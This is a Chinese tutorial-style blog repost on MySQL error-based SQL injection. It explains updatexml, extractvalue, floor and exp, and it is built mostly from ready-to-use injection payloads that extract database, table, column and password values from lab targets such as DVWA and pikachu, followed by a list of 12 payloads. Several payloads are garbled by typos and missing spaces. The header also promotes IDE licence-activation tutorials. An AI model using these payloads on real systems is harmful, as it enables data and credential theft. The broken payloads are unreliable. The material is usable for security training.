SQL注入报错注入函数[通俗易懂]

SQL注入报错注入函数[通俗易懂]前言报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r(),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。常用报错函数updatexml()是mysql对xml文档数据进行查询和修改的xpath函数extractvalue()是mysql对xml文档数据进行查询的xpa…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

        

前言

报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。

常用报错函数

updatexml()         是mysql对xml文档数据进行查询和修改的xpath函数extractvalue()      是mysql对xml文档数据进行查询的xpath函数floor()             mysql中用来取整的函数exp()               此函数返回e(自然对数的底)指数X的幂值

用法详解

updatexml()函数

updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串string(XML文档对象的名称)
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

实例

注册就是往数据库里添加数据,insert。

SQL注入报错注入函数[通俗易懂]

在用户处输入单引号 报错

SQL注入报错注入函数[通俗易懂]

猜测后端语句

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

可以在xxx处对单引号闭合,爆出我们想要的数据

?id=1' or updatexml(0,concat(0x7e,select database()),1)'

闭合单引号使语句逃逸出来,之后重新构造语句查询,爆破出库名为:”pikachu”

SQL注入报错注入函数[通俗易懂]

分析过程

当输入payload

?id=1' or updatexml(0,concat(0x7e,select database()),1)or'

后端会被拼接为

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

表名列名字段和正常查询一样只是换了个位置

利用过程

库名

1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查表信息(假定有一个users表,库名为dvwa

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

查字段值(假设字段名为last_name(dvwa.users意思为调用dvwa库的users表)

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

extractvalue()函数

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误

构造payload

?id=1' or extracrvalue(0,concat(0x7e,database())) or '

SQL注入报错注入函数[通俗易懂]

注意xpath回显只有一位使用limit函数逐个爆,且最长为32位,超过32位爆不了

利用过程

当前库

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

当前表

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

表信息(假设表为users

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

字段值(字段为user_id,first_name,last_name,(dvwa.users意思为调用dvwa库的users表)

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函数

floor()是mysql的一个取整函数

库名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

表名(库为dvwa,通过修改 limit 0,1值递增查表, limit 1,1、limit 2,1

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段名(库:dvwa,表:users

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段值(字段值:user,password(dvwa.users意思为调用dvwa库users表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

exp()函数

当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

库名

id=1' or exp(~(SELECT * from(select database())a)) or '

表名(库名:pikachu

id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '

字段名(表名:users

id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

字段值(字段名:password,表名:users

id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

12种报错注入函数

1、通过floor报错,注入语句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过extractvalue报错,注入语句如下:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通过updatexml报错,注入语句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187581.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 086-vdbench

    086-vdbench【1】centos下的安装首先安装JavaJDK和一些工具包sudoyuminstall-yjava-1.7.0-openjdkjava-1.7.0-openjdk-develunzip./vdbench-t【2】vdbench是一个I/O工作负载生成器,用于验证数据完整性和度量直接附加和网络连接的存储的性能。它是一个免费的工具,容易使用,而且常常用于测试和基准测试。…

    2022年5月19日
    43
  • Springboot+Seata整合以及事务模式分析

    Springboot+Seata整合以及事务模式分析分布式事务一、分布式事务的组成部分事务参与者:对应的一个一个的微服务资源服务器:对应一个个微服务的数据库事务管理器:决策各个事务参与者的提交和回滚两阶段提交:准备阶段:向事务管理器向事务参与者发送预备请求,事务参与者在写本地的redo和undo日志,但是不提交,并且返回准备就绪的信息,最后提交的动作交给第二阶段来进行提交阶段:如果事务协调者收到失败或者超时的信息,直接给每个参与者发送回滚消息;否则提交消息,最后根据协调者的指令释放所有事务处理过程中使用的资源锁二、项目例子当前依赖,

    2022年9月19日
    0
  • MySQL数据库备份脚本

    MySQL数据库备份脚本概述远程或者本地备份mysql数据库,并且保存最新7天的备份内容。#!/bin/sh#definevariables#thelogininformationofyourmysqldb.login_user=""login_passwd="&a

    2022年6月13日
    31
  • 真是好高兴,CSDN论坛也开了Blog!

    真是好高兴,CSDN论坛也开了Blog!    真的好高兴,我好久没来Csdn了,今天在网上搜资料时看到一篇文章也得很好,一看网址竟是Blog.csdn开头的,我才知道别人都已注册好久了。于是我也来激活了自己的Blog。感觉很不错!于是写了这第一篇文章!希望大家多多支持关注Csdn!愿他越来越兴旺!

    2022年10月2日
    0
  • 如何用phpmyadmin导入大容量.sql文件,直接使用cmd命令进行导入

    如何用phpmyadmin导入大容量.sql文件,直接使用cmd命令进行导入

    2021年10月15日
    46
  • 页面左侧二级菜单20种案例「建议收藏」

    页面左侧二级菜单20种案例「建议收藏」 本文由码农网 –小峰原创,转载请看清文末的转载要求,欢迎参与我们的付费投稿计划!jQuery作为一款主流的JavaScript前端开发框架,深受广告开发者的亲睐,同时jQuery有着不计其数的插件,特别是菜单插件更为丰富,本文将要为大家介绍20个绚丽而实用的jQuery侧边栏菜单,这些侧边栏菜单可以用在不同风格的网页上,如…

    2022年5月4日
    72

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号